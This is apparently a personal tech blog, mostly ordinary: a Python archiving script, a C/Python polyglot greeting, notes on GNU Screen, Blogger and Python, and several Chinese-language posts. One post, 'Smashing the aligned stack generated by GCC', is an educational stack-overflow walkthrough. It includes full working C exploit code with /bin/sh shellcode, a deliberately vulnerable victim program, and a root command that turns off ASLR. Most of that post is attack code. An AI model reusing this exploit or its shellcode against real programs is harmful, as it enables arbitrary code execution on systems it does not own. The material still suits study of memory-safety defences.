S² Works

Follow up on "Smashing the new stack generated by GCC"

2009-02-10T21:28:00.002+08:00

A quick note: the new entrance/exit sequence of the main() discussed in the post "Smashing the aligned stack generated by GCC" is nothing new. See this article for more info (esp. Section 5): Advanced exploitation in exec-shield (Fedora Core case study).

As the temperature goes warmer [in the N hemisphere]...

2009-02-10T20:54:00.003+08:00

Print this on your T-shirt!

Smashing the aligned stack generated by GCC

2009-02-05T22:09:00.014+08:00

In 1996, Elias Levy a.k.a. "Aleph One" published an article Smashing the Stack for Fun and Profit in the Phrack magazine, and the rest is history. Levy's paper greatly popularized the technique that has been known long since the days of the Morris worm.

After so many years, the techniques described in the original paper are falling behind of time. Modern operating systems usually employ complicated schemes in attempt to make attacks more difficult. For example, Linux implements a technique known as Address Space Layout Randomization, which obscures the virtual address space of a process, making it harder to guess the correct place to plant the payload. Moreover, some new compiler features are also making the situation more complicated.

For example, as Craig J. Heffner pointed out in his article Smashing the Modern Stack for Fun and Profit, GCC by default aligns the stack to 16-byte boundaries. By altering the compiler flag "-mpreferred-stack-boundary=n" one can choose aligning the stack boundary to 2ⁿ. This leaves a gap between the vulnerable buffer and the target address, breaking many old attack programs.

However, this is still not the full story. If we compare a program compiled by a recent version of GCC and the examples in Heffner's paper, we'll notice a big difference. Namely, the entrance and exit semantics of the main function have changed. In the Heffner paper, the disassembled program's main function looks like this:

main: pushl %ebp movl %esp, %ebp subl $12, %esp # Leave place for local variables. ... ... movl $0, %eax # return 0; leave # "leave" is equivalent to "movl %ebp, %esp" followed by "popl %ebp" ret # recover %eip

But a recent compiler will spit out code like this one:

main: leal 4(%esp), %ecx andl $-16, %esp pushl -4(%ecx) pushl %ebp movl %esp, %ebp pushl %ebx pushl %ecx subl $16, %esp ... ... movl $0, %eax addl $16, %esp popl %ecx popl %ebx popl %ebp leal -4(%ecx), %esp ret

Note the difference? The new version no longer uses the standard entrance and exit sequence for main(). The stack pointer is "slewed" to the value before calling the function via the help of auxiliary registers and automatic variables. It then reads the return address stored there and put it to %eip (done by the ret instruction).

What does this have to do with stack-smashing? Well, with the first program, it is possible to smash the vulnerable buffer by repeating the attacker's malicious return address all the way up the stack and hit the place where the original return address is stored. This is illustrated by Murat Balaban, a Turkish hacker, in the paper Buffer Overflows Demystified. In Balaban's scheme, the shellcode payload is planted at where the environment variables stay (via the execve() facility), its address pre-calculated, and the vulnerable stack is "smashed", filled with this address. However, if you try to do this to the second program unaltered, you are likely to fail. This is because the saved value of %ecx, which is used to "slew" the stack pointer, is smashed first. After that, the stack pointer is loaded with a garbage value.

So what can be done to this? Actually only a small modification to Balaban's exploit (which is good for small buffers) will suffice.

The first step is to overflow the vulnerable buffer with a different value than the address of the shellcode. In the above example, we notice that the stack pointer %esp is loaded with the value 4 + (%ecx), where %ecx itself is loaded by popping from the stack. Knowing this, all we needed to do is to overflow this stack area with some "desired value" minus four. This is how we take control over the stack pointer.

However, the stack pointer is only an intermediate goal. Our ultimate target is the instruction pointer. In other words, the address now stored in %esp must reference a pointer to the shellcode. Only in this way can we take advantage of the ret instruction at the end of the function and hijack the %eip to our destination. There are many ways to do it but the easiest is to craft a "bomb with a fuse" -- widen the shellcode by one pointer-width (the "fuse") and store the address to the beginning of the actual shellcode (the "bomb") there. As long as we can dupe %esp to the fuse, the bomb can be triggered. According to Balaban's paper, since we can calculate the exact address of the shellcode, we can calculate the location of this "fuse" too.

This scheme is carried out in the following example. Before you proceed with it, there are some notes I would like to put down first.

This example is very simplistic. It is only a proof-of-concept. The victim program in this example is extremely simplified.
This only works with the main function. Other functions are not compiled like this. You don't need this either, if you specify -mpreferred-stack-boundary=2 when compiling the victim program.
The code tries to pretend it's 64-bit aware but it's not. There's a magic number 0xbffffffa taken from Balaban's paper which I believe is 32-bit specific.
This doesn't work with protection mechanisms like ASLR. If possible, try
# echo "0" > /proc/sys/kernel/ramdomize_va_space
as root user. I experiment with these hacks in an Arch Linux virtual machine with ASLR turned off.
Some part of this code is also based on an example (exploit2.c) in Ch. 7 of the book Gray Hat Hacking: the Ethical Hacker's Handbook. The original code has a bug -- the execle call seems to be a mix-up of execve and execle. It is corrected in the code below.
The code is not general-purpose, and is very bloated and very ugly.

To carry out the exploit, first compile victim.c, and then compile exploit.c and cmdline.c to generate the exploiting code, using the header cmdline.h. Use the exploit program like this:

$ ./exploit ./victim

If the exploit crashes, please experiment with the -p switch. Usually you need it to control the padding before the buffer. The -a option is 4 by default to match the behavior of GCC. If set it to 0, you can also use it to attack a victim compiled with -mpreferred-stack-boundary=2. See the output of --help.

The code itself explains.

victim.c

#include <string.h>
int main(int argc, char *argv[]) {
    char buff[10];
    strcpy(buff, argv[1]);
    return 0;
}

exploit.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <error.h>
#include "cmdline.h"

#define STARTADDR    ( (size_t)(0xbffffffa) )

char shellcode[] =
    /* "\xcc" */    /* trace mark for debugging */ 
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";        /* start a shell */


int main(int argc, char *argv[]) {
    /* config parameters */
    config_t config;

    void **ptr;        /* movable pointer to be disposed */
    void *addr;        /* the start address of payload */
    void *fillpattern;    /* repeated address to fill the buffer */
    char *payload;    /* payload (shellcode and optionally the "fuse") */
    char *p;        /* repeated address (with optional padding) */
    unsigned int i;
    size_t sc_len = strlen(shellcode);    /* shell code length */
    size_t bufferlen;

    char *e_argv[3];
    char *e_envp[2];

    /* get config info */
    if (getopt_long_wrapper(&config, argc, argv) != 0) {
        perror("getopt_long_wrapper");
        exit(EXIT_FAILURE);
    }

    /* allocate space for the payload and the repeated address */
    if (config.filleradj == 0) {
        /* no need to adj., no need to add fuse */
        payload = shellcode;
        addr = (void *)(STARTADDR - strlen(config.victim) - sc_len);
        fillpattern = addr;
    } else {
        /* malloc space for fuse and shellcode */
        if (!(payload = (char *)malloc(POINTER_WIDTH + sc_len + (size_t)1))) {
            /* malloc failed */
            perror("malloc");
            exit(EXIT_FAILURE);
        }
        /* plant the fuse and the bomb */
        addr = (void *)(STARTADDR - strlen(config.victim)    \
            - (sc_len + POINTER_WIDTH));
        ((void **)payload)[0] = (void *)((size_t)addr + POINTER_WIDTH);
        memmove((void *)((size_t)payload + POINTER_WIDTH), shellcode,    \
            sc_len + (size_t)1);
        fillpattern = (void *)((size_t)addr + (size_t)config.filleradj);
    }

    fprintf(stderr, "[***] Payload address to be %p in new process.\n", addr);
    fprintf(stderr, "[***] Filling buffer with pattern %p\n", fillpattern);
    /* allocate for repeated address */
    bufferlen = config.buffer_efflen + config.padding;
    if (!(p = (char *)malloc(bufferlen))) {
        perror("malloc");
        exit(EXIT_FAILURE);
    }
    memset((void *)p, 'B', config.padding);
    ptr = (void **)(p + config.padding);
    for (i = 0; i < config.buffer_efflen; i += POINTER_WIDTH)
        *ptr++ = fillpattern;

    e_argv[0] = config.victim;
    e_argv[1] = p;
    e_argv[2] = NULL;

    e_envp[0] = payload;
    e_envp[1] = NULL;

    execve(config.victim, e_argv, e_envp);
    perror("execve");
    exit(EXIT_FAILURE);
}

cmdline.c

#include "cmdline.h"

char usage_str[] = "usage: exploit"
        " -h | [-l length] [-p padding] [-a adj] victim\n"
        "-h, --help          display this help and exit;\n"
        "-l, --length  LEN   use LEN * (size of pointer) bytes to overflow the buffer\n"
        "                    default: 40 on 32-bit and 20 on 64-bit.\n"
        "-p, --padding PAD   use padding in the first PAD bytes of buffer\n"
        "                    default: 2.\n"
        "-a, --adjust  ADJ   adjust the pattern used to fill the buffer\n"
        "                    default: 4.\n";

const char * const short_options = "hl:p:a:";
const struct option long_options[] = {
    {"help", 0, NULL, 'h'},
    {"length", 1, NULL, 'l'},
    {"padding", 1, NULL, 'p'},
    {"adjust", 1, NULL, 'a'},
    {NULL, 0, NULL, 0}
};
 
int getopt_long_wrapper(config_t *config, int argc, char *argv[]) {
    /* wrapper for getopt_long */
    int next_option;
    int ic;
    
    /* default values */
    config->buffer_efflen = (size_t)160;
    config->padding = (size_t)2;
    config->victim = NULL;
    config->filleradj = 4;
  
    do {
        next_option = getopt_long(argc, argv,
            short_options, long_options, NULL);
        switch (next_option) {
            case 'h':
                show_usage(stdout, EXIT_SUCCESS);
                break;

            case 'l':
                ic = atoi(optarg);
                if (VALID_INTOPT(ic, LEN_LLIMIT))
                    config->buffer_efflen = POINTER_WIDTH * (size_t)ic;
                else
                    show_usage(stderr, EXIT_FAILURE);
                break;

            case 'p':
                ic = atoi(optarg);
                if (VALID_INTOPT(ic, PAD_LLIMIT))
                    config->padding = (size_t)ic;
                else
                    show_usage(stderr, EXIT_FAILURE);
                break;
    
            case 'a':
                ic = atoi(optarg);
                if (VALID_ADJ(ic))
                    config->filleradj = ic;
                else
                    show_usage(stderr, EXIT_FAILURE);
                break;
    
            case '\?':
                show_usage(stderr, EXIT_FAILURE);
                break;
    
            case -1:
                break;
    
            default:
                /* shouldn't happen */
                return -1;
        }
    } while (next_option != -1);

    if (argv[optind] == NULL)
        show_usage(stderr, EXIT_FAILURE);
    else
        config->victim = argv[optind];

    return 0;
}


void show_usage(FILE *stream, int exit_code) {
    fprintf(stream, usage_str);
    exit(exit_code);
}

cmdline.h

#ifndef FILE_CMDLINE_H
#define FILE_CMDLINE_H

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <getopt.h>

#define POINTER_WIDTH            ( sizeof(void *) )
#define STRIDE_ULIMIT            ( 1024 )
#define LEN_LLIMIT               ( 1 )
#define PAD_LLIMIT               ( 0 )
#define VALID_INTOPT(x, LLIM)    ( ((x) >= (LLIM)) && ((x) <= (STRIDE_ULIMIT)) )
#define VALID_ADJ(x)             ( (x) <= 0x10000000 )

typedef struct config_info {
    size_t buffer_efflen;    /* effective length of filler buffer in bytes */
    size_t padding;    /* filler padding length in bytes */
    char *victim;    /* victim program name */
    int filleradj;
} config_t;

int getopt_long_wrapper(config_t *config, int argc, char *argv[]);

void show_usage(FILE *stream, int exit_code);

#endif    /* FILE_CMDLINEOPTS_H */

Using SSH and GNU Screen as an IM client

2009-02-02T22:57:00.007+08:00

GNU Screen is damn cool old-skool stuff. It can do anything. It makes you the Kwisatz Haderach, the one who can be many places at once (with apology to Frank Herbert).

And of course it can be [ab]used to do wacky stuff. One idea I came up with when writing a tutorial about Screen is an instant messaging client. Well not exactly a "client" in its technical sense but quite close.

I call this one SP2PALRIM, which stands for "Secure, Peer-to-Peer, Actually Local, Remote Instant Messaging". The idea is illustrated in the screenshot below, taken for the prototype implementation. Because I have only one box at hand, I created a virtual machine and connected to it through SSH.

In this example, we hired the famous characters, Alice and Bob, as our beta testers (How can an SSH story go without Alice and Bob?). Alice was typing from the guest OS (smaller window in front) while Bob was from the host OS. Bob wanted to IM Alice so he SSHed in and joined in a Screen session. This session controlled two windows. Each of them took one and typed from it. Here, both of them chose to place the "sent messages" on top of "received messages".

Well, you can see this model has quite a few deficiencies. It's only a prototype. However, you see the idea.

A possible improvement will involve a third window -- the "channel", to which Alice and Bob write in the same time, so it looks like a real conversation rather than two individuals talking to themselves separately. Of course this "channel" can be easily logged into a file.

But before I go on to implement this wonderful, revolutionary IM program I'll have to get out of here...

P.S. What happened the Screen tutorial aforementioned? Well it was too bad to deserve a link here. On a completely unrelated note, the directory name in the image above is a typo. There should have been an "r" in it.

Archiving script for multiple directories.

2009-01-15T16:11:00.013+08:00

C4talyst at FedoraForum.org posted a question (link to my discussion) about file archiving scripts. I tried making one, just for fun.

#!/usr/bin/env python
# Copyright (c) 2009, Cong Ma 
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
#    * Redistributions of source code must retain the above copyright notice,
#      this list of conditions and the following disclaimer.
#    * Redistributions in binary form must reproduce the above copyright notice,
#      this list of conditions and the following disclaimer in the documentation
#      and/or other materials provided with the distribution.
#    * None of the names of its contributors may be used to endorse or
#      promote products derived from this software without specific prior
#      written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
"""A python script that invokes tar and gzip to archive files. See the output
of the -h option for documentation.

"""
# TODO:
#   * Too dependent on certain versions of "tar"
#   * Too dumb to skip empty source files
#   * Performance horrible if recursion gets deep
#   * Configurability too limited
import subprocess
import os
import stat
import os.path
import sys
import optparse
import time


# Custom return codes.
# This script tries to continue operation, instead of to fail early, when an
# exception occurs. The return code of this script is and indication of what
# happens during operation, alongside with the messages sent to standard error.
# The actual return code can be the bitwise OR'ed result of the following
# flags. If a flag is present in the final return code, it indicates the
# corresponding problem has happened at least once during the operation.
RC_TABLE = { "success": 0x00,           # clean record
        "badargs": 0x01,                # invalid arguments passed
        "notadir": 0x02,                # SRC_DIR not a directory
        "childfail": 0x04,              # child process unsuccessful exit
        "mkdirfail": 0x08,              # mkdir() failure
        "chmodfail": 0x10,              # chmod() failure
        "openfail": 0x20,               # open() failure
        }
# Global err number
GLOB_ERRNO = RC_TABLE["success"]


class MyOptionParser(optparse.OptionParser):
    """Custom class extending optparser.OptionParser to make sure
    the desired value is returned when the program fails because of
    wrong argument list.

    """
    def exit(self, status=RC_TABLE["badargs"], msg=None):
        """Override superclass' exit() so that always return the desired
        value.

        """
        global GLOB_ERRNO
        if msg:
            _warn(msg)
        GLOB_ERRNO |= status
        sys.exit(GLOB_ERRNO)


def _warn(msg):
    """Dumb implementation of warning output."""
    print >> sys.stderr, msg
    return None


def getcmdlineparser():
    """Return a command-line parser for the main procedure."""
    usage_msg = "Usage: %prog -s SRC_DIR [-k NUM] [-u SUFFIX] [-a ARCHIVE_SUFFIX]\n"\
            "       %prog -h\n\n"\
            "This program is used to make separate archives for directory\n"\
            "contents.\n\n"\
            "Example:\n"\
            "  %prog -s foo/ -u baz/quux -k 1 -a save\n"\
            "will archive all directories foo/*/baz/quux/\n"\
            "to foo/*/baz/quux/save\n"

    parser = MyOptionParser(usage=usage_msg)

    parser.set_defaults(suffix="", arch="archive", skip=1)

    parser.add_option("-s", "--src-dir", dest="src",
            help="source directory", metavar="SOURCE_DIR")
    parser.add_option("-a", "--archive-suffix", dest="arch",
            help="archive suffix (default: \"archive\")", metavar="NAME")
    parser.add_option("-u", "--suffix", dest="suffix",
            help="suffix (default: empty string)", metavar="SUFFIX")
    parser.add_option("-k", "--skip", dest="skip", type="int",
            help="levels of directories to skip (default: 1)", metavar="NUM")

    return parser


def canonizearchsuffix(raw_arch_suffix):
    """Validate and canonize the user-provided archive suffix."""
    split_path = raw_arch_suffix.split("/")
    if split_path[0] and not any(split_path[1:]):
        return split_path[0]
    else:
        raise RuntimeError, "Archive suffix must be a single, relative path."


def calltargzip(archivedir_relname, output_basename):
    """Call and wait for tar/gzip processes.

    archive_relname: archive directory path relative to parent dir.
    output_basename: basename of the output tarball.

    usage: chdir to the parent directory before calling this.

    """
    global GLOB_ERRNO
    # Prepair tar arglist
    tar_args = ["tar",          # argv[0]
            "-c",               # create
            "-f", "-",          # to stdout
            "--preserve", "--selinux", "--xattrs", "--acls",    # preserve info
            "--remove",         # remove orig. after archive update
            "--wildcards", "--wildcards-match-slash",   # exclude option
            # exclude the archive dir itself and everyting under it
            "--exclude", "%s*" % archivedir_relname
            ]
    # Prepair input file list.
    input_files_all = os.listdir(".")
    # Complete tar's arglist
    tar_args.extend(input_files_all)

    # Create output file
    output_relname = os.path.join(archivedir_relname, output_basename)
    try:
        # NOTE: with the O_EXCL flag symlinks are not followed (good),
        # see open(2)
        out_fd = os.open(output_relname,
                os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0600)
    except OSError:
        # Can't create.
        _warn("Warning: Can't create output file %s" % output_relname)
        GLOB_ERRNO |= RC_TABLE["openfail"]
        return None

    # Create children
    children = []
    tar_proc = subprocess.Popen(tar_args, stdout=subprocess.PIPE)
    children.append(tar_proc)
    gzip_proc = subprocess.Popen(["gzip", "-9"], stdin=tar_proc.stdout,
            stdout=out_fd)
    children.append(gzip_proc)

    # Wait for the children to do the work (child labor)
    gzip_proc.wait()
    tar_proc.wait()

    for child in children:
        if child.returncode != 0:
            # don't exit on possible failure
            _warn("Warning: Child process %d exited with return code %d." \
                    % (child.pid, child.returncode))
            GLOB_ERRNO |= RC_TABLE["childfail"]

    # clean up
    # This chmod is vulnerable to link attacks. Unless Python implements
    # fchmod() there's no easy fix.
    perm_mode = stat.S_IRUSR | stat.S_IWUSR | stat.S_IRGRP | stat.S_IROTH
    try:
        os.chmod(output_relname, perm_mode)
    except OSError:
        _warn("Warning: Can't chmod() to 644 on file %s." \
                % os.path.abspath(output_relname))
        GLOB_ERRNO |= RC_TABLE["chmodfail"]
    os.close(out_fd)
    return None


def getlocaltimestamp():
    """Return a date/time stamp in the format of -yyyymmdd-HHMMSS for the
    current local date/time.

    """
    template = "-%Y%m%d-%H%M%S"
    return time.strftime(template)


def getdirstoarchive(base_dir, skip, suffix):
    """Recursive generator that yields one path to a directory a time,
    decending from base_dir, skipping skip levels and finding a subdir
    with name matching suffix.

    """
    if skip == 0:
        newpath = os.path.join(base_dir, suffix)
        if os.path.isdir(newpath):
            yield newpath
    else:
        # XXX: Recursive generator in Python is a bad idea.
        lsdir = os.listdir(base_dir)
        for filename in lsdir:
            jointname = os.path.join(base_dir, filename)
            # Skipping non-directories early.
            if os.path.isdir(jointname) and not os.path.islink(jointname):
                for newpath in getdirstoarchive(jointname, skip - 1, suffix):
                    if os.path.isdir(newpath) and not os.path.islink(jointname):
                        yield newpath


def main():
    """Main procedure."""
    global GLOB_ERRNO

    oldcwd = os.getcwd()
    parser = getcmdlineparser()
    options, args = parser.parse_args()

    if options.skip < 0:
        _warn("Negative skip not understood.")
        GLOB_ERRNO |= RC_TABLE["badargs"]
        sys.exit(GLOB_ERRNO)

    try:
        arch_suffix = canonizearchsuffix(options.arch)
    except RuntimeError:
        _warn("Archive suffix must be a single, relative path.")
        GLOB_ERRNO |= RC_TABLE["badargs"]
        sys.exit(GLOB_ERRNO)

    if not os.path.isdir(options.src):
        _warn("SRC_DIR %s doesn't appear to be a directtory" % options.src)
        GLOB_ERRNO |= RC_TABLE["notadir"]
        sys.exit(GLOB_ERRNO)

    timestamp = getlocaltimestamp()     # one run, one timestamp
    archive_basename = "%s%s.tar.gz" % (arch_suffix, timestamp)

    dirs_generator = getdirstoarchive(options.src, options.skip, options.suffix)
    for basedir in dirs_generator:
        os.chdir(basedir)
        if not os.path.isdir(arch_suffix):
            try:
                os.mkdir(arch_suffix)       # it will fail when it should
            except OSError:
                _warn("Warning: cannot make directory %s. Skipped." \
                        % os.path.join(basedir, arch_suffix))
                GLOB_ERRNO |= RC_TABLE["mkdirfail"]
                continue                    # skip this directory.
        calltargzip(arch_suffix, archive_basename)
        os.chdir(oldcwd)

    sys.exit(GLOB_ERRNO)


if __name__ == "__main__":
    main()

Perhaps too buggy to be actually used in production...

Update: Better behavior on exit.

Update: Don't follow symlinks when "skipping" directories.

Best wishes, from two lands

2008-12-24T12:33:00.012+08:00

This piece of code I wrote today is nothing fancy compared to the ingenious code written by great haxx0rs. Just a small X'mas surprise ;)

From C land:

#include <stdio.h>
#define main()    int main(void){printf("Merry Christmas and Happy New Year!\n    From C land, with love.\n");return 0;}
#define BE_HAPPY /*
def main(): print "Merry Christmas and Happy New Year!\n    From Python land, with love."
#*/
main()

Same thing, this time from Python (2.x) land:

#include <stdio.h>
#define main()    int main(void){printf("Merry Christmas and Happy New Year!\n    From C land, with love.\n");return 0;}
#define BE_HAPPY /*
def main(): print "Merry Christmas and Happy New Year!\n    From Python land, with love."
#*/
main()

Click on the image below to see an animated version of this code displayed in EMACS with alternate syntax-highlighting modes.

Persecute and destroy them in anger from under the heavens…

2008-12-12T17:22:00.006+08:00

Please, stop shoving Fortran code down my throat…

I have to quote this:

If you have written a program entirely in Fortran, please do not ask anyone else to maintain your code, unless person is like you and also knows only Fortran. If Fortran is the only language that you know, then please learn at least C and C++ and use Fortran only when necessary. Please do not hold the opinion that contributions in science and engineering are "true" contributions and software development is just a "tool". This bigoted attitude is behind the thousands of lines of ugly unmaintainable code that goes around in many places. Good software development can be an important contribution in its own right, and regardless of what your goals are, please appreciate it and encourage it. To maximize the benefits of good software, please make your software free.

(Original text: "Choosing a good programming language" from the Autotoolset Tutorial by Marcelo Roberto Jimenez and Thierry Michel)

Thank you guys. You've said for me what I wished to say myself.

Evilness of UNIX shells

2008-12-01T18:07:00.007+08:00

Today I was installing a piece of software that uses csh code for its configuration script, which was no surprise. What surprised me was that the author of the software assumes everyone uses csh as his/her login shell, and put in the install guide things like "in your .cshrc write the following..."

We all know that csh is evil, don't we? I for one was not offended by evil, but by the assumption that I was the one with the evil!

Anyway, it doesn't matter whether I was offended. What matters is saving the world from evil. However, such an important operation requires elaborate planning beforehand and we must make sure about the priorities of missions: Which evil one should we fight first?

We all know Google Does No Evil. Yes we know it. Therefore, let's find it out with the help of Google! Type "%s is evil", where %s is the one of the shells, in Google's search field (with the double quotes), and the answer is... (click on the image to view a larger one)

As you see clearly and unambiguously from the chart, csh is indeed the No. 1 evil. There's nowhere to hide.

As for tcsh... Yes tcsh is csh!!! Destroy the evil spawn!

Now what about bash? They are's all links to bash.org ;-)

Disclaimer: This post was posted purely for fun. No holy wars please ;-)

Disclaimer:If you find different figures by doing the same searches, blame Google.

Fire it up!

2008-11-26T21:28:00.002+08:00

Fedora 10终于被放出来了。官网的下载页面上醒目的大字——燃烧吧！

千千万万的Fedora拥护者们，正在通过各种方式下载着LiveCD或DVD镜像，或通过在线软件源进行着网络安装。各大镜像站点都呈现出了流量供不应求的迹象……

我花了一点时间，现在已经设置好了我自己的Fedora 10桌面。现在可以说："This post is proudly powered by Fedora 10, the Latest and Greatest Release by the Fedora Community" :)

Kernel & Shorewall & Squid fiasco

2008-11-23T14:45:00.001+08:00

今天升级了一下内核，又升级了Squid，然后Squid缓存服务器停止工作，在日志文件里看不到任何外来的连接。于是在本机上试了一下使用Squid发现工作正常，而从别的地址访问则网络超时。看来不是缓存自己的问题，而是网络问题。

紧接着，在本机上启动一个NAT出去、可以访问网络的虚拟机，启动后也没法连接到本机，看来网络是完全瘫痪掉了（但是我可以向外发起连接）。这时候本着胡猜乱碰的思路flush了本机上的iptables, 虚拟机一下子可以通出去了。赶快让Shorewall重新编译了规则并且保存…… 看来应该是之前Shorewall保存的规则文件和新内核不匹配，因为这是在刚更新内核以后发生的。

幸好这个机子只是我自己平时用机，如果我是ssh进一台远程机子，更新内核以后重启，Shorewall不匹配，那就……

Finally found a way to use SHJS with Blogger

2008-11-18T20:21:00.006+08:00

In the last post I made a small box displaying a piece of Python code with syntax highlighting. This is based on the SHJS program made by a developer known as "gnombat" and released under the GNU General Public License. The code is available on the project's webpage hosted by SourceForge.net.

At first, I have trouble getting the JavaScript programs into my Blogger-powered webpages. The scripts executed at page load-time should go to the <head> element, which is sourced from the Blogger template I chose. I tried pasting something like this into my template's header:

<script type="text/javascript">
    ... blah, blah, blah ...
</script>

No, it doesn't work. Blogger's XML validator basically said, "Sorry, I'm afraid I can't do that. Your XML is invalid." It's understandable that Blogger tries hard to validate the input. Imagine a world where everyone tries uploading invalid or even malicious material to a public web hosting service... But I don't seen anything wrong with my code. Puzzled, I temporarily "hot-linked" to the script files hosted on SHJS's SourceForge.net project page. I asked the author for permission of doing so, and I got a nice reply saying it's OK unless it's generating too much traffic.

Still, the solution was far from optimal. It's a developer's project site which is intended for development, not a JavaScript farm! I tried again, and this time I found out the answer.

The problem is with "special" characters like & and < in the JavaScript. According to XML standard they are not permitted in the text between XML tag pairs, and should be replaced by "XML entities" like & and <. However, the replaced code would no longer be valid JavaScript! OK now the problem reduced to writing "polyglot" code of both XML and Javascript. And CDATA comes to rescue.

Basically CDATA is a magical text token telling a parser to stop interpreting enclosed text as XML markup: "Nothing to see here. Move along!". OK, we'll use it, but take care: it's JavaScript we are trying to guard, so don't let the CDATA mess with JavaScript syntax! Well, all polyglot writers should know the trick is with comments (example taken from w3schools.com tutorial):

<script type="text/javascript">
//<![CDATA[
// Example JavaScript code.
function matchwo(a, b) {
    if (a < b && a < 0) then {
        return 1;
    } else {
        return 0;
    }
};
//]]>
</script>

Voilà! There it is!

P.S. To see a real polyglot in eight different programming languages, go here.

Fun with Python Grammar

2008-11-15T23:05:00.015+08:00

Readability counts. --- Tim Peters, The Zen of Python.

I'm writing a simple function that checks whether every member in a Python container is None. This may not be very useful in general but I somehow need one such function now. In my example, the list object to be examined holds a bunch of integers or None, where the integers are used as indices of another list, and None indicates unavailable resources. The first idea is of course the built-in function all() which takes an iterator and returns True or False, but no, it is not OK for me.

all() was introduced in Python 2.5. As the name suggests, it returns True if and only if all items in the iterator evaluate to True. This is where the problem lies in: None is not the only object that evaluates to the bool value "False". In my example, 0 is a perfect legal value of an index but unfortunately, it also evaluates to False.

Well, this seems to be a trivial problem. Why not just step in the list and check them one by one? Yes I know that, let's do it. Sorry for the long introduction.

And I came up with this:

def _allnone(container):
    """Check (stupidly) whether all elements in container are None."""
    # This is very, very, very Python-2.5-ly.
    return all(item is None for item in container)

As you can see in the comment line, this piece of code takes advantage of Python 2.5's syntax features:

The all() function. We have already discussed about it.
The generator expression in the parentheses, which appeared in Python 2.4. Not quite so 2.5, but definitely in the same spirit of backward-incompatibility! :P

Note the generator expression. Do you feel a touch of "human language"? *wink*

This is what I like about Python, that being fun is recognized as one important aspect of "being pythonic". I dare not to say my code ranks above the average in the pythonicity grade ladder, but well, you can find fun even in such novice coding work :)

P.S. Of course the example code is not well optimized. However, in the light of "Worse Is Better", I'd rather leave it alone for now. For the interested, here is a pointer to a story by Nicolas Trangez: Python ‘all’ oddity. As you can see in the article, the generator's performance isn't much worse than a plain old function with less overhead.

PP.S. To further exploit Python 2.5's syntax candies, the line can also be written as

all(True if thing is None else False for thing in container)

This takes advantage of the conditional expression feature. However, this is unpythonic since the use of if is unnecessary.

我们的集体潜意识

2008-11-02T22:41:00.003+08:00

今天在自己的机子上虚拟了一把PDP-11和UNIX Version 7系统。当然在这么做的同时，我不会忘记看一看Version 7的源代码。

在现在看来，那个年代的源码简直就是传说中黄金时代的文字。一切都是如此简洁明了，设计和实现的本质清晰无遮拦地展示在我们面前。有些userland程序的代码在今天的GNU/Linux平台上还能一字不改地编译通过并生成正确的二进制码——犹如乘坐时光机回到了过去，又发现一切都是那么熟悉。

这样的代码在今天几乎不可能存在了。当年的世界，有如《百年孤独》里Macondo刚刚建立的时候，一切都是新的，有无尽的自由发挥空间。UNIX的先行者们在那里创造世界，没有什么可以拘束他们。他们可以淋漓尽致地发挥自己的理念和哲学。而今时过境迁，我们已经难以在周围越来越复杂的系统中求得UNIX哲学真正毫无保留的实现了。比较一下GNU Coreutils的cat和Version 7的cat，就会看到差别，还有一种无奈。Version 7的cc和GNU的gcc相比，更是天壤之别。[Hint: Google for "cat -v considered harmful".]

并不是说今不如昔。今天的系统功能前所未有地强大，是Version 7所不能比拟的。然而，如今我们更多的工作，在传说时代的英雄人物看来，也许是可笑的。我们现在的人讲究OO, 讲究encapsulation, 其实是类似“把垃圾扫入地毯下”的做法，维护表面上的简单性；而他们是真正的KISS原则贯彻实现。从上到下看去，他们的作品是越来越简单的，最后到达不可分的点。而我们写程序，往往是越往下越杂乱无章…… 想想看，我们往往为了一个简单的目的而东拼西凑，制造出难以维护的聚合体，而他们做的是一整个功能完备的分时系统……

我知道，现在再提这些，是有点傻的。今天真正在乎UNIX哲学的人似乎越来越少了，真正有能力掌握它的人更是如此（我不自称为其中一员）。可是，不管我在哪里，UNIX哲学对我都具有无比强大的感召力。它就是一个理想，一个梦。现实是梦的终结，而梦是现实的延续。

而今天看到了真正的Version 7源代码，我终于意识到，这个梦是属于我们集体潜意识的一部分的，是一个民族的集体原始记忆，这个民族不是由血缘，而是由价值观而定。它既是传说，也是历史。它已经模糊了，但是却在这代码中清晰无疑地向我们昭示着。我们作为UNIX的传人，尽管不能复行古道，但是将带着它走向未知。

My humble hail to Ken, Dennis, and the whole UNIX hackerdom.

鲜血淋漓的教训

2008-10-31T15:57:00.003+08:00

记住，备份文件的时候，不要漏过那些以"."开头的。

除非设置了shopt dotglob.

它们是你生活的根基。一旦失去，后果不堪设想，无论怎么说也不为过。

Edit: 其实正确的工具已经在那里了：不要用cp备份，用tar. 而且记得，GNU tar的有用选项：--selinux和 --preserve.

Sun began to fix their 6-year old bug

2008-10-23T15:03:00.005+08:00

It is always hilarious to see the new comments to this bug: No 64-bit support for Sun Java browser plugin.

